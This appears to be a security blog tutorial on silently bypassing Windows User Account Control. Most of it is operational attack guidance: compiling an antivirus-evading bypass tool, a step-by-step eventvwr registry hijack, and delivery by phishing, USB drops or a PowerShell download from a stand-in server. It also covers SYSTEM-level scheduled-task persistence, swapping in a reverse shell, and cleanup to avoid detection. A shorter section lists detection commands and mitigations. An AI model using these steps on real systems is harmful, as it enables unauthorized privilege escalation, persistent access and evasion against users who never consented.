Listen to this Post
Introduction:
User Account Control (UAC) has been a cornerstone of Windows security since Vista, designed to prevent unauthorized system changes by prompting for administrator consent. However, determined attackers and red teamers have long sought ways to silently bypass these prompts to execute payloads with elevated privileges without triggering any alerts. By abusing trusted Windows binaries and specific registry keys, it is possible to achieve a seamless privilege escalation, granting full control over a target machine without a single pop-up notifying the user.
Learning Objectives:
- Understand the mechanics of User Account Control and its role in Windows security.
- Learn how to compile and deploy a UAC bypass tool using Visual Studio 2022.
- Analyze the Windows Registry and system directories to identify vulnerable autoelevate binaries.
- Execute a practical UAC bypass to gain an elevated command prompt silently.
- Implement defensive strategies to detect and block UAC bypass attempts.
You Should Know:
1. Understanding UAC and the “AutoElevate” Misconfiguration
UAC operates by splitting user tokens into standard user and administrator access levels. When an action requires admin rights, the system prompts the user for consent. The bypass technique exploits “AutoElevate” binaries—legitimate Microsoft executables that are trusted to automatically request elevation without prompting the user (e.g., slui.exe, msconfig.exe). By performing a DLL hijack or modifying the registry to force these binaries to load malicious code, an attacker can execute arbitrary code with high integrity. The GitHub repository “UAC-Bypass-FUD” by Kawomawrt leverages these exact principles, providing a framework to compile a custom bypass.
2. Compiling the UAC Bypass Utility from Source
To begin, you must clone the repository and compile it using Visual Studio 2022, ensuring the code is not flagged by antivirus solutions (FUD – Fully Undetectable).
Step-by-step guide:
1. Clone the Repository:
Open Command Prompt or PowerShell and run:
git clone https://github.com/Kawomawrt/UAC-Bypass-FUD.git cd UAC-Bypass-FUD
2. Open in Visual Studio 2022:
Launch Visual Studio, open the solution file (.sln) contained in the folder.
3. Configure Build Settings:
- Set the solution configuration to `Release` and the platform to `x64` (or `x86` depending on target OS).
- Navigate to Project Properties > Linker > Advanced, and ensure the “UAC Execution Level” is set to
asInvoker. This prevents the compiled binary itself from asking for elevation.
4. Build the Solution:
Press `Ctrl+Shift+B` to compile. The executable will be generated in the `Release` folder.
5. Test in a Controlled Lab:
Always execute this in an isolated virtual machine (e.g., Hyper-V or VirtualBox) with Windows 10/11 installed.
3. Manual Registry Manipulation for UAC Bypass
Many bypasses rely on hijacking the “event viewer” or “computer management” snap-ins. The tool automates this, but understanding the manual method is crucial for analysis.
Step-by-step guide to a classic bypass using `eventvwr.exe`:
- Open Registry Editor (
regedit) as a standard user.
2. Navigate to:
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
If the path does not exist, create the keys manually.
3. Set the (Default) Value:
Change the default value to the path of your payload (e.g., C:\Users\Public\payload.exe).
4. Trigger the Bypass:
Open Command Prompt and type:
eventvwr.msc
Because `eventvwr.exe` is an autoelevate binary, Windows will silently elevate it. It then checks the registry key under the current user, finds your command, and executes your payload with high integrity.
5. Verification:
Run `whoami /groups` in your payload’s console to confirm the presence of “Mandatory Label\High Mandatory Level”.
- Deploying the Compiled Bypass on a Target System
Once you have the compiledUAC-Bypass-FUD.exe, deployment can occur via phishing, USB drops, or post-exploitation shells.
Step-by-step execution:
1. Transfer the File:
Use a simple SMB share or PowerShell download cradle:
Invoke-WebRequest -Uri "http://your-server.com/UAC-Bypass-FUD.exe" -OutFile "$env:temp\bypass.exe"
2. Execute with Low Privileges:
Run the executable from a non-admin command prompt:
%temp%\bypass.exe
3. Tool Output:
The tool will likely spawn a new command prompt window with elevated privileges. Check integrity:
whoami /groups | find "Level"
If successful, you will see “High Mandatory Level”.
5. Detecting and Mitigating UAC Bypass Attacks
Defenders must monitor for the specific indicators left by these techniques.
Detection Commands (PowerShell):
- Monitor for suspicious registry writes:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4657} | Where-Object {$_.Message -like "mscfile"} - Check for currently hijacked keys:
Get-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -ErrorAction SilentlyContinue
- Audit autoelevate binaries:
Use Sysinternals Sigcheck to list them:
sigcheck64.exe -m c:\windows\system32.exe | find /i "autoElevate"
Mitigation Steps:
- Enable UAC Virtualization: Ensure UAC is set to “Always notify” (level 4).
- Apply Microsoft LAPS: Restrict local admin privileges to reduce the impact of a bypass.
- Use AppLocker or WDAC: Block unauthorized executables from running from user-writable paths.
- Monitor Process Trees: Any instance of `eventvwr.exe` spawning `cmd.exe` or `powershell.exe` is highly suspicious.
6. Advanced Persistence via UAC Bypass
Once elevated, attackers often maintain access. The UAC bypass mechanism itself can be used for persistence.
Step-by-step guide:
1. Create a Scheduled Task:
Using the elevated shell, create a task that runs your bypass tool at logon:
schtasks /create /tn "Updater" /tr "C:\Users\Public\bypass.exe" /sc onlogon /ru SYSTEM
2. Modify the Bypass Payload:
Alter the source code to execute a reverse shell instead of cmd.exe, ensuring the connection is established silently each time the user logs in.
3. Clean Up:
After execution, the tool should ideally remove the registry key it created to avoid detection:
reg delete "HKCU\Software\Classes\mscfile" /f
What Undercode Say:
- Key Takeaway 1: UAC bypasses are not vulnerabilities in the traditional sense but abuses of legitimate Windows design features. Microsoft considers them “by design,” placing the onus on endpoint detection and response (EDR) systems to identify anomalous behavior.
- Key Takeaway 2: The line between red team tooling and malware is thin; the same “UAC-Bypass-FUD” code used for penetration testing can be weaponized by ransomware operators to deploy encryption without alerting users. Defenders must focus on behavior analysis rather than signature-based detection, as FUD tools constantly evolve to evade antivirus.
Analysis: Understanding these bypasses is critical for both offense and defense. While the provided tool simplifies the process, the core technique revolves around trusted Windows binaries and user-writable registry hives. Organizations should prioritize application whitelisting and monitor for abnormal parent-child process relationships. Education on why “Always Notify” is essential can prevent successful silent elevation.
Prediction:
As Microsoft continues to harden the Windows kernel and restrict registry access, we will see a shift toward exploiting newly discovered auto-elevate executables or leveraging COM hijacking. The arms race will intensify with EDRs deploying machine learning to spot the behavioral patterns of UAC bypasses, forcing attackers to adopt more sophisticated, multi-stage elevation techniques that blend deeper into legitimate system activity.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Splog Uac – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
